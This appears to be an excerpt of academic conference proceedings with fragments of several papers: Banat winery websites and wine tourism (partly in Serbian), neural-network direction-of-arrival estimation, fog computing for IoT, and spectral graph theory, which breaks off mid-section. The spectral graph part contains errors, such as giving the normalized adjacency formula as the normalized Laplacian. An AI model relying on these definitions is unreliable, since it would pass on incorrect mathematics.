Vinarije koje bi želele da razviju vinski turizam i ostvare veći broj poseta moraju da se prilagode savremenom turisti, korisniku interneta.

Vinari mogu da imaju mnogobrojne koristi od interneta za svoje vinarije. Bolja saradnja sa kolegama, bolja poslovna slika, povećanje svesti o brendu i povećan broj posetilaca predstavljaju samo neke od prednosti posedovanjem internet strane [12]. Internet, koji je postao osnovno sredstvo informisanja, omogućava kreiranje internet prezentacija koje pružaju sve potrebne informacije. Internet strana vinarije na kojoj pored kontakta, opisa vina, istorije imamo ponudu sa cenama i mogućnost zakazivanja termina posete, pomogla bi vinarima i turistima.

Ukoliko bi se ponuda sa mogućnošću onlajn zakazivanja sprovodila putem interneta, posetioci bi mogli brzo, lako i u bilo kom trenutku da zakažu svoju degustaciju i posetu vinariji. Zbog opisa posla vinari ne mogu često da budu pored telefona i da čekaju zahteve potencionalnih posetioca, već mogu nakon dana provedenog u vinogradu ili vinskom podrumu da pogledaju da li postoji onlajn zahtev za posetu vinarije, i da na isti odgovore.

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Na kraju analize internet strana može se zaključiti sledeće:

- Internet prezentacijom potencijalni turisti mogu da dobiju sve bitne informacije o vinariji, vinu, lokaciji, cenama vina;
- Internet prezentacije vinarija veoma je bitna za razvoj vinskog turizma jer internet predstavlja globalnu mrežu, tako da su sve informacije sa interneta dostupne ljudima širom sveta.

4. ZAKLJUČAK

U turizmu ljudi koriste internet za kupovinu avio-karata, bukiranje i kupovinu hotelskog smestaja, kupovinu ulaznica za posetu muzeja, galerija i drugih turističkih znamenitosti, pa zašto ne bi koristili internet za kreiranje sopstvenog putovanja?

U Srbiji, ali i u regionu, internet se još uvek ne koristi toliko za kreiranje putovanja, turisti ga više koriste kao sredstvo istraživanja. Međutim, i dalje su skeptici prilikom onlajn plaćanja turističkih usluga.

Starije stanovništvo našeg regiona još uvek traži pomoć od turističkih organizatora prilikom putovanja. Jednostavno, one im ulivaju sigurnost da će sve usluge koje su plaćene biti i ispunjene. Međutim, mlađe stanovništvo veoma rano počinje da koristi internet i da upoznaje sve njegove prednosti. Koriste internet za istraživanje, kreiranje rezervacija i plaćanje usluga. Upravo zbog njih, novih, mladih turista koji tragaju za novim vrstama turizma i koji su željni upoznavanja novih iskustava i doživljaja, treba predstaviti turističku ponudu onlajn. Novi svet je brz i on zahteva informacije koje su tačne i koje mogu da se dobiju u veoma kratkom vremenu.

Vinarije koje se nalaze na prostoru Banata (srpski i rumunski Banat) moraju da ulože više energije i sredstava za kreiranje internet prezentacija koje će zadovoljiti potrebe savremenog turiste. Trenutno stanje je takvo da većina vinarija sa istraženog područja turistima pruža osnovne informacije o vinariji. Nažalost, internet prezentacije još uvek nisu okrenute ka savremenom turisti i ne prezentuju podatke koje su vezane za turističku uslugu. Potrebno je poslušati zahteve tržišta i otići korak dalje jer komunikacija putem interneta predstavlja budućnost.

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THE IMPORTANCE OF THE INTERNET TRANSPARENCY FOR THE BANAT WINE TOURISM DEVELOPMENT (THE ILLUSTRATION OF BOTH THE SERBIAN AND ROMANIAN BANAT)

Abstract:

Today, internet is one of the most important media in the world. Its use is widespread in society, economy, industry, tourism, etc. While planning their journey modern tourists often use internet as a mean of informations. Tourism service providers present themselfs to the world via Internet by giving information about them, their products and services. Also, wineries can use it to easily and efficiently show their products. Many wineries around the world have their official website, through which tourists can view things about their history, location, contacts, prices, wines and winery tours. The goal of this paper is to show how big of an impact do modern information technologies have for winery management, hilighting the Banat region wineries. Paper analyses and compares the inetrnet presentation of wineries in these two regions: Serbian region and Romanian region of Banat.

Keywords:

Banat, winery, wine tourism, modern tourits, Internet.

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NEURAL MODEL FOR FAR-FIELD 1D LOCALIZATION OF MOBILE STOCHASTIC EM SOURCES WITH PARTIALLY CORRELATED RADIATION

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Abstract:

This paper considers a possibility of angle position determination of mobile stochastic sources with partially correlated radiation, where antenna array and multilayer perceptron neural network processing are used. It is shown that the neural model trained with samples from a system with uncorrelated source radiation cannot determine position of sources with a satisfactory accuracy when sources have some degree of correlation in radiation. That is why it is suggested training samples to be generated for different values of partial source correlation. This kind of generated neural network training may provide source position determination with satisfactory accuracy even when there is partial correlation, which in the paper is presented with an example of two sources that linearly move in azimuth plane

Keywords:

Source localization, stochastic radiation, correlation matrix, neural networks.

1. INTRODUCTION

Adaptive antenna systems application [1] and techniques based on space signal processing are used as an important strategy for finding a solution of minimizing negative effects of interference on reception side, capacity increasing and service improvement of modern wireless communication systems. Within above mention strategy applications, DoA (Direction of Arrival) estimation and space source location determination are of great importance [1,2].

So far the most common methods are those based on superresolution algorithms like for example MUSIC and its modifications [1,2]. These methods provide a high accuracy in space location estimation of the radiation sources, but because of complex matrix estimations they demand powerful hardware resources and are not convenient for real time applications. Artificial neural networks [3-5] may be applied in the process of DoA estimation of radiation EM sources, as neural models that avoid intensive matrix estimations may be a good alternative to superresolution algorithms. These neural solutions may achieve same accuracy while gaining higher speeds in response. This is shown in [5-11], with a particular emphasis on neural models for 1D DoA estimation [6,7] and neural model for 2D DoA estimation of deterministic radiation sources [8]. Today, a high attention is paid for interference sources that have stochastic radiation nature [12,13], so spatial location estimation of this kind of sources is of crucial interest. In [9-11] the neural models for 1D DoA [9,10] and 2D DoA estimation [11] and spatial position estimation of stochastic radiation sources are presented, developed for sources whose radiation is mutually uncorrelated. This paper continues research work of [9,10] with the aim to investigate the possibility of multilayer perceptron neural network (MLP) application (MLP) [3-5] in DoA estimation for stochastic radiation sources for the case when there is some level of partial correlation in their radiations.

2. STOCHASTIC EM SOURCE RADIATION MODEL

In this paper, the same model of stochastic EM source radiation in a far-field zone, as in [9-11], is used. Based on this model, a radiation of a number of stochastic EM sources in far-field is described by a radiation of short dipoles. Each dipole fed by current of stochastic nature represents one stochastic source. The movement scenario that is used in this paper may be described by the azimuth plane and sources disposition in one linear direction (1D movement scenario), while the dipole directions are perpendicular to the azimuth plane. If the total number of sources is S, and if fed current of dipoles can be described by the vector I = [I1, I2, ..., IS]), the mutual correlation of stochastic sources radiation is described by the correlation matrix [12,13]:

$$\mathbf{c}^{I}(\boldsymbol{\omega}) = \lim_{T \to \infty} \frac{1}{2T} \left[\mathbf{I}(\boldsymbol{\omega}) \mathbf{I}(\boldsymbol{\omega})^{H} \right]$$
(1)

In far-field, the electric field strength at the selected sampling point can be calculated as:

$$E(\theta, \varphi) = \mathbf{M}(\theta, \varphi)\mathbf{I}$$
(2)

where M represents the mapping by Green function

$$\mathbf{M}(\theta,\varphi) = jz_0 \frac{F(\theta,\varphi)}{2\pi} \left[\frac{e^{jkr_1}}{r_1} \quad \frac{e^{jkr_2}}{r_2} \dots \frac{e^{jkr_s}}{r_s} \dots \frac{e^{jkr_s}}{r_s} \right] (3)$$

 θ and φ represent the spatial angles of stochastic source location with respect to the selected sampling point in far-field, $F(\theta, \varphi)$ is the radiation pattern of the short dipole, r_s is the distance between s-th stochastic EM source and selected sampling point, z_0 is the impedance of free space and k is the phase constant ($k=2\pi/\lambda$).

In our scenario the sampling of signals is done with uniform linear antenna array so that the sampling points are on the places of the antenna sensors (Fig.1.). The mutual distance of antenna sensors is y_d , and total number of sensors is M. Axis of antenna array is parallel to the direction of radiation source movement. The correlation matrix of signals received in $Y_1, Y_2, ..., Y_M$ sampling points can be obtained from the correlation matrix of antenna elements feed currents as

$$\tilde{\mathbf{C}}_{E}[i,j] = \mathbf{M}(\theta_{i},\varphi_{i})\mathbf{c}^{T}\mathbf{M}(\theta_{j},\varphi_{j})^{H}$$

$$i = 1,...,M \quad j = 1,...,M \quad (4)$$

Because in our scenario the sources are moving in azimuth plane, it is assumed that $\varphi = 0$ for any angular position of the source. In that case the angle position of *s*-th source in relation to *m*-th antenna array element is

$$\theta_s^{(m)} = \arctan\left[\tan\theta_s^{(1)} - \frac{(m-1)\cdot y_d}{r_0}\right] \quad (5)$$

while the distance of s-th source in relation to the m-th antenna array element is

$$r_s^{(m)} = \frac{r_0}{\cos \theta_s^{(m)}} \tag{6}$$

Under angle position of *s*-th source in relation to antenna array θ_s we mean its angle position in relation to the first element of the antenna array when $\theta_s = \theta_s^{(1)}$. Using (3), (5) and (6) for given angle position of radiation source we may determine the mapping function **M**, and afterwards also the elements of the correlation matrix using (4). In this paper we use moving of two partially correlated sources with stochastic nature (*S* = 2) that is illustrated in Fig.1. If the correlation degree of their radiation is *c* then their correlation matrix is

$$\mathbf{c}^{I} = \begin{bmatrix} \mathbf{1} & c_{12}^{I} \\ c_{21}^{I} & \mathbf{1} \end{bmatrix}$$
(7)

where $c = c_{12}^{I} = c_{21}^{I}$. For neural model training we use the correlation matrix that is normalized with the first matrix element

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$$\mathbf{C}_{E} = \frac{1}{\tilde{C}_{E11}} \cdot \tilde{\mathbf{C}}_{E} \tag{8}$$

3. NEURAL NETWORK MODEL

For neural network model realization the same model architecture as in [9], is used. The neural model is based on MLP ANN [3-5], and for the case which considers the two stochastic sources, its architecture is shown in Fig.2. The main purpose of the model is to perform the mapping from the space of S signals described by correlation matrix $C_{\rm F}$ to the 1D DoA space

$$[\theta_1 \ \theta_2]^T = f(\mathbf{C}_E) \tag{9}$$

where $[\theta 1 \ \theta 2]^T$ is vector of azimuth angles of arrival of the stochastic sources radiation. Its MLP network can be described by the following function:

$$\mathbf{y}_{l} = F(\mathbf{w}_{l}\mathbf{y}_{l-1} + \mathbf{b}_{l}) \quad l = 1, 2, \dots, H$$
(10)

where y_l -1 vector represents the output of (*l*-1)-th hidden layer, wl is a connection weight matrix among (*l*-1)-th and *l*-th hidden layer neurons, b_l is a vector containing biases of *l*-th hidden layer neurons and *H* is number of hidden layers. *F* is the activation function of neurons in hidden layers and in this case it is a hyperbolic tangent sigmoid transfer function:

$$F(u) = \frac{e^{u} - e^{-u}}{e^{u} + e^{-u}}$$
(11)



Fig. 2. Architecture of MLP neural model for DoA estimation of two stochastic EM source signal in azimuth plane (MLP_DoA model)

In order to perform mapping it is sufficient to take only the first row of correlation matrix and accordingly the input layer receives data in the format $x=y0 = [Re\{C_E[1,1]\},...,Re\{C_E[1,M]\}, Im\{C_E[1,1]\},...,Im\{C_E[1,M]\}]^T$. Also, the output of the neural network model is given as

 $[\theta 1 \ \theta 2]^{T} = w_{H} + 1y_{H}$ where $w_{H} + 1$ is a connection weight matrix between neurons of last hidden layer and neurons in the output layer. The optimization of weight matrices $w_{1}, w_{2}, \dots, w_{H}, w_{H} + 1$ and biases values during the training allows ANN to approximate the mapping with the desired accuracy.

The general designation for this defined MLP neural model is MLPH- N_1 -...- N_i -...- N_H where H is the total number of hidden layers used in MLP network, while Ni is the total number of neurons in the *i*-th hidden layer.

3. MODELING RESULTS

MLP_DoA model, whose architecture was presented in previous section, is applied for DoA estimation of two stochastic sources that independently from each other move along linear trajectory distant $r_0 = 100$ m from the antenna array, with whom the signal is sampled at frequency f = 28 GHz. The scanning width of antenna array in the azimuth is [-30° 30°]. We analyze two cases. Ĩ

In the first case we assume that the sources are mutually uncorrelated, and in the second, we assume that there is mutual partial correlation in the range $0.05 \le c \le 0.8$. For both cases we generated separate sample sets for network training and testing, while using common parameters of sampling that are given in table I.

For training and testing samples generation we use relations (3) and (4) that establish inverse mapping from that of the MLP_DoA model

$$\mathbf{C}_{E}^{t} = f_{DoA}^{-1} \left(\theta_{1}^{t}, \theta_{1}^{t}, c \right)$$
(12)

So the samples for neural network training and testing are given in the format {($x^t(\theta_1^t, \theta_2^t, c^t), \theta_1^t, \theta_2^t$)}, where x^t is vector of input model values $x^t = [Re\{C_E^t[1,1]\},...,Re\{C_E^t[1,M]\}, Im\{C_E^t[1,1]\},...,Im\{C_E^t[1,M]\}]^T$. For each element of vector xt we used uniform distribution of samples for azimuth angles of radiation source location and correlation of the form [θ^t min : θ^t step : θ^t max] and [c^t min : c^t step : c^t max], where θ^t min [°] and c^t min represent the lowest limit of distribution, θ^t max [°] and c^t max represent the highest limit of distribution, while θ^t step and c^t step represent uniform sampling steps.

Frequency	f = 28 GHz
Number of sources	<i>S</i> = 2
Sampling points distance from linear source trajectory	$r_0 = 100 \text{ m}$
Number of sampling antenna array sensors	M = 6
Mutual distance of the antenna sensors	$s = \lambda/2 (5.4 \text{ mm})$

 Table 1. Sampling parameters which are used for training and test sets generating

For model training and testing in the first case when we assume uncorrelated stochastic sources the following sets are generated:

TRAINING_A set (28920 samples):

$$\begin{cases} (\mathbf{x}^{t}(\theta_{1}^{t},\theta_{2}^{t},0),\theta_{1}^{t},\theta_{2}^{t}) |\\ \theta_{1}^{t} \in [-30:0.25:30], \theta_{2}^{t} \in [-30:0.25:30], \theta_{1}^{t} > \theta_{2}^{t} \end{cases}$$
(13)

TEST_A set (5050 samples):

$$\left\{ (\mathbf{x}^{t}(\theta_{1}^{t},\theta_{2}^{t},0),\theta_{1}^{t},\theta_{2}^{t}) | \\ \theta_{1}^{t} \in [-30:0.6:30], \theta_{2}^{t} \in [-30:0.6:30], \theta_{1}^{t} > \theta_{2}^{t} \right\}$$
(14)

For model training and testing in the second case when we assume that the stochastic sources may have some degree of correlation c, following sets are generated: TRAINING_B set (29280 samples):

$$\begin{cases} (\mathbf{x}^{t}(\theta_{1}^{t}, \theta_{2}^{t}, c^{t}), \theta_{1}^{t}, \theta_{2}^{t}) \mid \\ \theta_{1}^{t} \in [-30:1:30], \theta_{2}^{t} \in [-30:1:30], \theta_{1}^{t} > \theta_{2}^{t}, \\ c^{t} \in [0.05:0.05:0.8] \end{cases}$$
(15)

TEST_B set (3036 samples):

$$\begin{cases} (\mathbf{x}^{t}(\theta_{1}^{t},\theta_{2}^{t},c^{t}),\theta_{1}^{t},\theta_{2}^{t}) \mid \\ \theta_{1}^{t} \in [-30:2.7:30], \theta_{2}^{t} \in [-30:2.7:30], \theta_{1}^{t} > \theta_{2}^{t}, \\ c^{t} \in [0:0.07:0.8] \end{cases}$$
(16)

In both cases the model was realized using a network with two hidden layers (H = 2), and in order to get a model with higher accuracy the training was done for a number of MLP networks, with different number of neurons in the hidden layers (MLP2-*N*1-*N*2, $4 \le N1, N2 \le 23$). In the process of testing we analyzed the values of worst case error (WCE) and average error (ACE) [4,5] that model was showing on testing samples.

In the first case the training of MLP neural model network is done with the set TRAINING_A, on samples that are generated under conditions of uncorrelated radiation of the stochastic sources. Afterwards the trained neural networks are tested with the set TEST_A that contains samples that are generated also when the sources are uncorrelated. The results of the testing of the six models with lowest value of WCE on the set TEST_A are shown in Table II. Figures 3.(a) i 3.(b) present scattering diagram of MLP2-12-7 model on TEST_A set (this model has shown lowest WCE on that set). It can be seen that all six models show high accuracy in source location estimation. But if in the network input we deliver samples that are generated with some source radiation correlation (set TEST_B) then the models show high WCE value or high imprecision in source location estimation. That may be seen also in Table II also from scattering diagram of MLP2-12-7 model on TEST_B set (Fig 4.(a) and 4.(b)).

MIRmodel	TEST	_A set	TEST_B set		
MLP model	WCE [%]	ACE [%]	WCE [%]	ACE [%]	
MLP2-12-7	2.25	0.36	60.63	6.76	
MLP2-13-13	2.26	0.38	87.81	6.01	
MLP2-11-4	2.38	0.37	87.31	7.16	
MLP2-16-16	2.43	0.37	59.02	6.07	
MLP2-12-12	2.51	0.37	89.37	7.17	
MLP2-12-5	2.55	0.37	83.99	6.91	

Table 2. Testing results for six MLP neural models trained on TRAINING_A set with the best average errors statistics

In the second case MLP neural model training is performed on the set TRAINING_B, on samples that are generated under conditions when there is some correlation degree between radiation sources (partial radiation correlation is in the range $0.05 \le c \le 0.8$). Afterwards the trained neuron networks are tested with the set TEST_B that contains samples that are generated also under variable radiation correlation in above range but also with samples that are generated under no correlation, which is important to be mentioned for this case. The results from testing of the six models with lowest value for WCE on set TEST_B are shown in Table III. On figures 5.(a) and 5.(b) we may see scattering diagram of the MLP2-22-22 model on the set TEST_B (this model has shown lowest value of WCE on that set). It can be seen that the model MLP2-22-22 has satisfactory accuracy in angle position determination when we use samples for different partial correlations of radiating sources.





	TEST	I_B set
MLP model	WCE [%]	ACE [%]
MLP2-22-22	4.53	0.35
MLP2-23-23	5.58	0.33
MLP2-22-20	5.70	0.36
MLP2-18-16	5.74	0.36
MLP2-18-18	6.33	0.34
MLP2-16-16	8.27	0.35





Fig. 4. Scattering diagram of MLP2-12-7 model $\theta_{_1}$ output (a), and $\theta_{_2}$ output (b), on TEST_B set

5. CONCLUSIONS

In the simple scenarios (1D) for stochastic sources movements neural models based on MLP networks may be faster and less hardware demanding alternative compared to classic superresolution algorithms for the methods for space localization of stochastic sources. It is shown that the neural models that are trained with samples generated under conditions when the sources have no correlation cannot be used for space source location determination when the sources have correlated radiation. In order neural model to be used with satisfactory accuracy also for correlated sources, that information must be included in training set also, that means that the training set must be generated under conditions when there is different degrees of mutual correlation between the radiating sources. It is shown that that kind of trained model may be used for space source location determination, with satisfactory accuracy, also when the sources are uncorrelated.



Fig. 5. Scattering diagram of MLP2-22-22 model θ_1 output (a), and θ_2 output (b), on TEST_B set

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

ADVANCED COMPUTING AND CLOUD COMPUTING

NECESSITY OF THE INTERNET OF THINGS AND FOG COMPUTING INTEGRATION

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Abstract:

The Internet of Things (IoT), as a network of interconnected devices, has exploded over the past few years generating more data than ever before. At the same time, high-dimensional, high-velocity and high-variety data put an enormous burden on the Internet infrastructure. Sending a large amount of data generated by IoT to the Cloud implies problems with bandwidth, a considerable amount of time, and latency issues. Hence, utilization of Cloud computing is not adequate in applications that require very low and predictable latency, fast mobile applications, applications in a wide geographic area or large-scale distributed control systems. In these cases, Fog computing, by creating an additional computing layer between devices and Cloud, enables the computation execution at the place where data is generated. Without the need for the Cloud, Fog computing holds the potential to overcome barriers that Cloud computing utilization in particular cases implies. However, Fog computing will not completely replace the Cloud computing. Instead, Fog and Cloud computing together will lead to numerous benefits in the IoT applications. This paper analyzes ideas and influence of theFog computing appliance in various IoT scenarios, as well as benefits, potentials, and challenges of Fog computing implementations.

Keywords:

Internet of Things, Fog computing, Cloud computing, integration

1. INTRODUCTION

The idea of connecting everyday physical objects to the Internet, making them able to identify themselves to other devices and be controllable and available from anywhere, anyhow, and anytime in an intelligent manner, refers to the Internet of Things (IoT). In other words, IoT describes an ecosystem in which applications and services are driven by sensed, collected and exchanged information between smart devices, as well as with the environment, with or without human intervention. The most important IoT application domains are: health, education, agriculture, transportation, manufacturing, electric grids, and so on [1] (Fig. 1.).

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Fig. 1. The top 10 IoT application areas – based on real IoT projects [2]

The incorporation of IoT into people's lives is accompanied by an increasing number of smart IoT devices. Numerous estimates state that 20-50 billion connected devices will be in operation by 2020 while the Cisco anticipates that the total volume of data generated by IoT will reach 600 ZB per year by 2020 [3].Large quantities of information generated by IoT devices represent a serious challenge.Voluminous data alone doesn't do much, but IoT collected data and algorithms together, are exceptionally valuable [4]. Hence, an explosion of data demands its analysis in order to achieve the IoT potentials such as: real-time smart decision-making, optimized use of resources, lower costs, higher profits, increased safety, anomaly detection, incident prediction, etc. [5]. Despite the advantage of easier access to results from anywhere, posting large quantities of data to the Cloud for analysis and storage is not practical for several reasons: data processing time, latency and bandwidth issues. So as to overcome these challenges, Fog computing appears to be an adequate solution. Performing analytics at the edge of the Cloud and making edge devices as processing nodes enable faster, easier and real-time decisions while results are being uploaded to the Cloud for further processing or storage. Business Intelligence forecasts that the number of IoT devices that use Fog computing will rise from 570 million devices in 2015 to 5.8 billion in 2020 [6].

Hence, this paper represents an analysis of the importance of Fog computing integration with the IoT, and it is organized as follows. The data characteristics and challenges for dealing with escalating volumes of data generated by IoT devices are discussed in Section II. Section III represents the main principles, benefits, and challenges of Fog computing and its integration with the IoT. Section IV contains concluding remarks.

2. IOT-GENERATED DATA ISSUES

The constant IoT growth and its omnipresence in people's lives will consequently imply the large-volume, complex, growing data sets, making data management capabilities as an IoT key requirement in the future.

The main characteristics of IoT-generated data can be described with five V's:

• *Volume*: As time goes on, new machines, sensors, and devices become part of an IoT ecosystem, come online and put information into data systems, resulting in the immense volume of data generated by the IoT. In order to deal with terabytes and petabytes of data, it is mandatory to radically rethink how to transmit, store, manage and exploit the IoT-produced data [7, 8].

- *Variety*: With the IoT growth not only is data growing, it is also diversifying encompassing different types of data, including both structured and unstructured data [4, 8]. Collecting, storing and using simultaneously structured and unstructured data is nowadays enabled using new and innovative big data technologies [9].
- *Velocity*: Velocity, defined as the speed at which vast amounts of data are being generated, collected and analyzed, increases with the IoT growth. Analysis of data generated by IoT, its transmission speed and access to the data, is all-important in making time and accurate decisions [9].
- Value: Immense amount of data is useless unless it can be turned into value [9]. Creating a value which can be transformed into new understandings, making real-time decisions, predicting events, cutting cost and so on, represents a mandatory activity in handling with big data issues.
- *Veracity*: Veracity, the quality or trustworthiness of the data, is essential to achieve effective results with data analytics, and making accurate decisions [4, 9].

These five V's describes the data that have to be analyzed, captured, searched, shared, stored, and visualized in order to obtain new insights about the behavior of systems and people in an IoT ecosystem, make on-time and accurate decisions and predictions. Hence, it is crucial to discover how to manage all the IoT-generated information, where, and why?

3. FOG COMPUTING AND IOT

Dealing with data described with five V's is not simple. The flood of growing amounts of a great variety of data and high speed of data generation and processing can quickly overwhelm today's storage systems and analytics applications. Difficulties with data generated by IoT lie in technical and security issues [10].

Cloud computing systems will not be capable of managing the total burden of IoT-generated data because posting all these data, from thousands or hundreds of thousands of edge devices to the Cloud and transmitting response data back requires a larger bandwidth, a considerable amount of time and can suffer from latency issues. Adding a middle layer between devices and Cloud, splitting big data to sub data, and its processing in smart devices where data originates instead of routing everything over Cloud channels refers to Fog computing (Fig. 2).



Fig. 2. Fog computing

Fog computing principles and benefits of its integration with IoT

Fog computing is not a replacement for Cloud computing, it extends the Cloud computing paradigm at the edge of the network, closer to things that produce IoT data. Getting closer to the source of data, simplify extracting key information when handling with big data, such as IoT-produced data. In other words, sensors stream data to IoT networks while applications running on Fog devices process the data and transmit the critical information (the results, not the raw data) to available Cloud, Fog, or network resources identified as the best place for processing incoming tasks, depending on how quickly a decision is needed [11] (Fig.3, Table I). While Fog devices receive sensor data streams from IoT devices in real time, one should run IoT-enabled applications for real-time control and analytics (millisecond response time) and provide transient storage and send only results to the Cloud. Cloud, on the other hand, receives and aggregates information from many Fog devices, performs analysis and can send new application rules to the Fog devices based on the achieved insight [12]. Edge and Cloud resources communicate using M2M (machine-to-machine) standards and the CoAP (Constrained Application Protocol) while SDN (Software-defined networking) helps with the efficient management of heterogeneous Fog networks [11]. Hence, the Fog computing vision retains the benefits of Cloud (e.g. agility, flexibility and distributed computing), while allowing communication of the data over the IoT devices much easier than Cloud [13].



Fig. 3. The role of computing layers in an IoT ecosystem [14]

	Fog nodes closest to IoT devices	Fog aggregation nodes	Cloud	
Response time	Milliseconds to subsecond	Seconds to minutes	Minutes, days, weeks	
Application exam- ples	Machine to Machine communication Haptics* (*controlling technology	Visualization	Big data analytics	
	using the sense of touch), including telemedicine and training	Simple analytics	Graphical dashboards	
How long IoT data is stored	Transient	Short durations: perhaps hours, days, weeks	Month or years	
Geographic coverage Very local (e.g. one city block)		Wider	Global	

Table 1. Fog nodes extend the Cloud to the network edge [12]

Fog computing enables making extremely time-sensitive decisions closer to things/devices that produce data and act on it, reduces network bandwidth consumption and contributes to data privacy and security analyzing sensitive data locally instead of sending it to the Cloud for analysis [14]. In addition, Fog computing supports user mobility, resource, and interface heterogeneity as well as distributed data analytics [11].

In summary, the necessity of Fog computing integration with the IoT is justified with its following features which have potential to increase the overall performance of IoT applications [15, 16]:

- Location: Fog infrastructure is located between smart objects (edge devices) and the Cloud, enabling improved latency and bandwidth issues.
- Distribution: Fog infrastructure can be implemented in the sense of many micro centers (with limited storage, processing and communication capabilities) closer to the edge devices and thus

reduces network load. Hence, there is no single point of failure.

- Scalability: The Cloud as the centralized approach is not sufficient to handle an increasing number of edge devices. On the other hand, the Fog infrastructure with improved capabilities to deal with increased load allows IoT systems to be more scalable.
- The density of devices: Fog computing paradigm enables resilient and replicated services even if communication with the operation center is not effective.
- Mobility support: Fog infrastructure resources act as a "mobile" cloud as it is situated close to the edge devices.
- Real-time: Fog computing vision offers better performance for real-time requirements.
- Standardization: Fog resources can interoperate with various cloud providers.

- On the fly analysis: Fog infrastructure resources are able to perform data aggregation in order to send partially processed data.
- Privacy: Fog computing by separating public and private data improves privacy and security issues.

Fog computing utilization in IoT applications

Fog computing is built up to address applications and services that do not fit the paradigm of the Cloud, such as [13, 17, 18]:

- Applications that require very low and predictable latency like health-monitoring and various emergency-response applications;
- Geographically distributed applications applications in which thousands or millions of things across a large geographic area are generating data (e.g. sensor networks for monitoring environment);
- Fast mobile applications such as smart connected vehicle or connected rail; and
- Large-scale distributed control systems (e.g. smart grid, smart traffic light systems).

Hence, various applications could benefit from Fog computing [11]. In healthcare applications, where realtime processing and event response are critical, Fog computing can be very useful. Fog computing-based smart healthcare system enables low latency data processing and low bandwidth utilization at the edge of the network, heterogeneity and interoperability, mobility support, location and privacy awareness, real-time and online analytic even in case of poor connection with Cloud, real-time rapid interaction in case of emergency and less energy consumption than Cloud solutions [11, 16, 19]. The benefits of Fog computing use in Smart grids lie in improving energy generation, delivery, energy consumption and billing [11, 13, 20]. Fog computing also plays a major role in other latency sensitive applications, such as: augmented-reality applications, cognitive systems, and gaming [11] as well as in transportation, agriculture, smart cities and buildings.

Challenges for Fog computing implementation in IoT

Despite obvious benefits Fog computing offers, there are numerous challenges for its implementation: balancing load distribution between edge and Cloud resources, API and service management and sharing, and SDN communications. Deciding which analytics tasks have to be performed with Cloud or edge-based resource, in order to minimize latency and maximize throughput, is essential. Having in mind that processing nodes are generally mobile devices that fre¬quently join and leave networks, in Fog computing vision it is crucial to have the ability to add and remove resources dynam¬ically. In addition, privacy and security, issues connected with the failure of individual sen¬sors, networks, service platforms, and applications, as well as power consumption represent key challenges in the realization of Fog computing paradigm [11].

4. CONCLUSION

A constantly increasing number of IoT devices creates unprecedented volumes of data. A centralized approach such as Cloud is not sufficient to manage large quantities of high-velocity and high-variety of IoT-generated data. Even though Fog and Cloud use the same resources and share many of the same mechanisms and attributes, Fog computing, opposite to the Cloud, supports decentralized and intelligent processing closer to where data is produced, reducing greatly the quantity of data being transmitted to and from Cloud. In this way Fog infrastructure by enabling distribution of computing, communication, control, storage and decision making, successfully deals with latency, bandwidth, privacy and cost challenges. These advantages of the Fog computing paradigm justify its implementation in numerous IoT applications, especially in time-sensitive, large-scale and geographically distributed applications.

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ADVANCED COMPUTING AND CLOUD COMPUTING

COMPLEX NETWORKS ANALYSIS BY SPECTRAL GRAPH THEORY

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Abstract:

Spectral graph theory is widely used in the process of characterization of complex networks properties, as well as the Internet infrastructure. This paper defines specific topological characteristics which can be used for the analysis of these networks.

Moreover, the paper describes the use of spectral graph theory in the process of analyzing algebraic connectivity in the network.

Keywords:

spectral graph, complex networks, algebraic connectivity.

1. INTRODUCTION

Specific topological graph characteristics are used for connectivity characterization and they have a significant impact on dynamic processes in complex networks, so that the analysis and synthesis of these networks is based on the use of metrics expressed by relevant topological characteristics.

Basic structural graph characteristics can be analyzed through considering graph topology. Graph topology determines how graph nodes are interconnected and what their mutual relations are.

Complex networks, as well as Internet infrastructure can be analyzed and modeled in terms of physical and logical topology. Logical topology includes collecting, measuring and analysis of parameters on IP level. Physical topology includes defining physical connection, which is one of the main research challenges [1].

Each node in the graph can be characterized by certain characteristics, such as the processing time, and each graph branch can be specified as a set of weighting functions, such as delay, bandwidth, packet loss...

Metrics are topological and can be calculated only by adjacency matrix. Topological metrics can be classified into metrics which are based on graph distance, connectivity and specter.

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2. SPECTRAL GRAPH THEORY

Spectral graph theory is based on its eigenvalues and eigenvectors. Eigenvalue of matrix A is a real number λ ; it is the matrix equation:

$$Ax = \lambda x$$

It has a nontrivial solution, which is called eigenvector. Eigenvalues of graph are eigenvalues of adjacency matrix. Graph specter G is determined by a set of its own eigenvalues of the adjacency matrix for the given graph.

Spectral graph theory uses specters of specific matrix, such as the adjacency matrix, the Laplacian matrix and normalized Laplacian matrix in order to obtain certain information about a graph.

For an unweighted, undirected graph G, the adjacency matrix is defined in the following way:

$$A_{i,j} = \begin{cases} 1, if \text{ there is a branch from i to } j \\ 0, other \end{cases}$$

If a graph is weighted, then the adjacency matrix is defined as:

$$A_{i,j} = \begin{cases} w(i,j), if there is a branch from i to j \\ 0, other \end{cases}$$

Eigenvalues of matrix A are marked as $\lambda_1, \lambda_2, ..., \lambda_n - 1, \lambda_n$ and they represent matrix A specter.

Normalized adjacency matrix is determined:

$$\widehat{A} = \sqrt{D^{-1}} A \sqrt{D^{-1}}$$

Degree matrix D is a diagonal matrix with node degree values of $d_i = 1, 2...n$ on the diagonal.

The Laplacian matrix is defined as:

$$L = D - A$$

Eigenvalues of matrix L are called the Laplacian eigenvalues and they are organized in a non-increasing order:

$$\mu 1 \ge \mu 2 \ge \cdots \ge \mu_{n-1} \ge \mu_n$$

A normalized Laplacian matrix is determined by:

$$L_N = D^{-1/2} A D^{-1/2}$$

The value of zeroes of the first eigenvalues of the Laplacian matrix indicates that network nodes are fully connected. Due to its characteristics, the Laplacian matrix specter is of greater significance, for most physical and chemical processes, than the adjacency matrix specter [2].

If graph G is not connected, the number of eigenvalues of the Laplacian matrix, which is equal to zero, is determined by the number of graph G components. For each graph G matrix, the specter is equal to the specter union of each graph component.

3. TOPOLOGICAL METRICS

Topological metrics, based on the spectral graph theory, are Algebraic connectivity, the Fiedler vector, Spectral radius, Principal eigenvector.

Algebraic connectivity

Eigenvalues of the Laplacian matrix are $\mu_1 \geq \mu_2 \geq ... \geq \mu_{n-1} \geq \mu_n.$

The second lowest eigenvalue of the Laplacia matrix of graph μ_{n-1} is called algebraic connectivity of graph G and it is a good parameter for measuring the graph connectivity. For example, the second lowest value is positive only if the graph is connected [3]. This value reflects the degree of connectivity of the total graph and it is used in the analysis of network robustness and synchronization.

The Fiedler vector

